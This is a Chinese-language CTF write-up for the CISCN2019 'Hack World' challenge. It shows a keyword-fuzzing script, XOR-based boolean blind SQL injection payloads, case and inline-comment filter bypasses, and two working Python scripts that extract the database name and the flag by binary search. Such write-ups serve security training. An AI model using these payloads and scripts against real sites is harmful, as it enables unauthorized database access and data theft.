[CISCN2019 华北赛区 Day2 Web1]Hack World 1.打开网页:
发现有一个注入点,尝试对其进行注入,由题目提示得,flag在数据库中,所以该注入点应该为sql注入:
使用BP测试该网站属于什么请求:
payload:
使用脚本判断该网站过滤了哪些内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import requestsimport timewith open ("SQL_fuzz.txt" , "r" ) as f: contents = f.readlines() data_list = []for msg in contents: msg = msg.strip('\n' ) data_list.append(msg) f.close url = "http://cbdddd87-2da0-4863-a3fa-3afcff406fb8.node4.buuoj.cn:81/index.php" for d in data_list: da = "1{}" .format (d) payload = { "id" : da } r = requests.post(url=url, data=payload) time.sleep(0.04 ) reponse_txt = "SQL" if (reponse_txt in r.text): print ("该网站过滤了{}" .format (d))
输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 该网站过滤了length Length 该网站过滤了+ 该网站过滤了handler 该网站过滤了selectSeleCT 该网站过滤了delete 该网站过滤了oroR 该网站过滤了-~ 该网站过滤了limitLimIt 该网站过滤了insertinsERTINSERT 该网站过滤了# 该网站过滤了--+ 该网站过滤了INFORMATION 该网站过滤了-- 该网站过滤了; 该网站过滤了+ 该网站过滤了xor 该网站过滤了ANDANd 该网站过滤了" 该网站过滤了length 该网站过滤了+ 该网站过滤了unionUNIonUNION 该网站过滤了" 该网站过滤了& 该网站过滤了&& 该网站过滤了|| 该网站过滤了oorr 该网站过滤了//* 该网站过滤了*/* 该网站过滤了/**/ 该网站过滤了anandd 该网站过滤了GROUP 该网站过滤了INTO 该网站过滤了OR 该网站过滤了ORDER 该网站过滤了ORD 该网站过滤了UNION 该网站过滤了UPDATE 该网站过滤了AND 该网站过滤了delete 该网站过滤了GROUP_CONCAT 该网站过滤了group_concat 该网站过滤了DELETE 该网站过滤了floor 该网站过滤了rand() 该网站过滤了information_schema.tables 该网站过滤了LIMIT 该网站过滤了ORD 该网站过滤了order 该网站过滤了ORDER 该网站过滤了OUTFILE 该网站过滤了updatexml 该网站过滤了format 该网站过滤了ord 该网站过滤了UPDATE 该网站过滤了/* 该网站过滤了` 该网站过滤了 该网站过滤了for 该网站过滤了BEFORE 该网站过滤了sys schemma 该网站过滤了SEPARATOR 该网站过滤了XOR 该网站过滤了CURSOR 该网站过滤了FLOOR
payload:
payload:
payload:
所以由测试得该网站不回显数据库信息,只返回true或false的结果,所以我们需要采取盲注
2.选择盲注类型:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 布尔盲注: id=1 and 非0(true)或id=(1)and(非0(true)) 返回id=1的界面 id=1 and 0(flase)或id=(1)and(0) 返回id=0的界面 异或盲注: id=1^0(false)=>1 返回id=1的界面 id=1^1(true)=>0 返回id=0的界面 使用异或盲注需要后面有判断语句返回true和false 空字符或盲注: id='' or 非0(true)=>1或id=''or(非0(true)) 返回id=1的界面 id='' or 0(flase)=>0或id=''or(0) 返回id=0的界面
由于and和or都被过滤,所以我们只能选择异或盲注
3.获取盲注true和false的界面
payload:
id=0的界面
payload:
id=1的界面
4.爆数据库信息:
由于limit被限制,所以长度规定可以为自由,使用GROUP_CONCAT()获取全部信息
第一步:直接爆数据库的名字:
payload:
1 1^(ascii(substr(database(),1,1))>79)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import requestsimport time url = 'http://cbdddd87-2da0-4863-a3fa-3afcff406fb8.node4.buuoj.cn:81/index.php' n = 1 database_name = "" database_lenth = 30 while n <= database_lenth: begin = 32 end = 126 tmp = (begin + end) // 2 while (begin < end): str = "1^(ascii(substr(database(),{},1))>{})" .format (n, tmp) payload2 = { "id" : str } r = requests.post(url=url, data=payload2) true_text = "Error" if (true_text in r.text): begin = tmp + 1 tmp = (begin + end) // 2 else : end = tmp tmp = (begin + end) // 2 print ("该数据库的第%d个字符:%c" % (n, chr (tmp))) database_name = database_name + chr (tmp) n = n + 1 print ("该数据库的名字为:" +database_name)
输出:
第二步:由于由题目提示得,flag在flag表的flag字段中,所以直接爆flag字段信息即可:
select被过滤的绕过方式:
大小写绕过法:
该方法适用于任何在mysql中执行的单词代码
1 2 3 4 seleCt SeLeCt SELect .......
测试:
内联注释绕过:
当一些关键语句被过滤时,内联注释就是把一些特有的仅在 mysql 上的语句放在 /*! */中,这样这些语句如果在其它数据库中是不会被执行,但在 mysql 中会执行.
1 2 3 /*!select*/ /*!sElect*/ .....
测试:
使用大小写绕过方式测试:
payload:
通过响应结果可知,可以绕过
由于group_concat也被过滤,且通过不断尝试,发现大小写都无法绕过,这里我们直接猜测该flag字段只有一行内容,且为flag的值
测试:
只有substr中select返回的只有一行内容时,才不会发生报错
payload:
1 ?id=1^(ascii(substr((seLEct({flag})from({flag})),{},1))>{})
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import requestsimport time url = 'http://cbdddd87-2da0-4863-a3fa-3afcff406fb8.node4.buuoj.cn:81/index.php' database_name = "ctftraih" table_name = "flag" col_name = "flag" col_data_num = 1 col_data_charnum = 50 rank_index = 0 while (rank_index < col_data_num): rank_data_index = 0 data = "" while (rank_data_index < col_data_charnum): begin = 32 end = 126 tmp = (begin + end) // 2 while (begin < end): str = "1^(ascii(substr((seLEct({})from({})),{},1))>{})" .format (col_name, table_name, rank_data_index+1 , tmp) payload2 = { "id" : str } r = requests.post(url=url, data=payload2) time.sleep(0.1 ) true_text = "Error" if (true_text in r.text): begin = tmp + 1 tmp = (begin + end) // 2 else : end = tmp tmp = (begin + end) // 2 data = data + chr (tmp) rank_data_index = rank_data_index + 1 print ("{}字段第{}列的值:{}" .format (col_name, rank_index + 1 , data)) rank_index = rank_index + 1
输出:
1 flag字段第1列的值:flag{8ee345ea-b7e7-4384-883c-f953214c7f79}
flag = flag{8ee345ea-b7e7-4384-883c-f953214c7f79}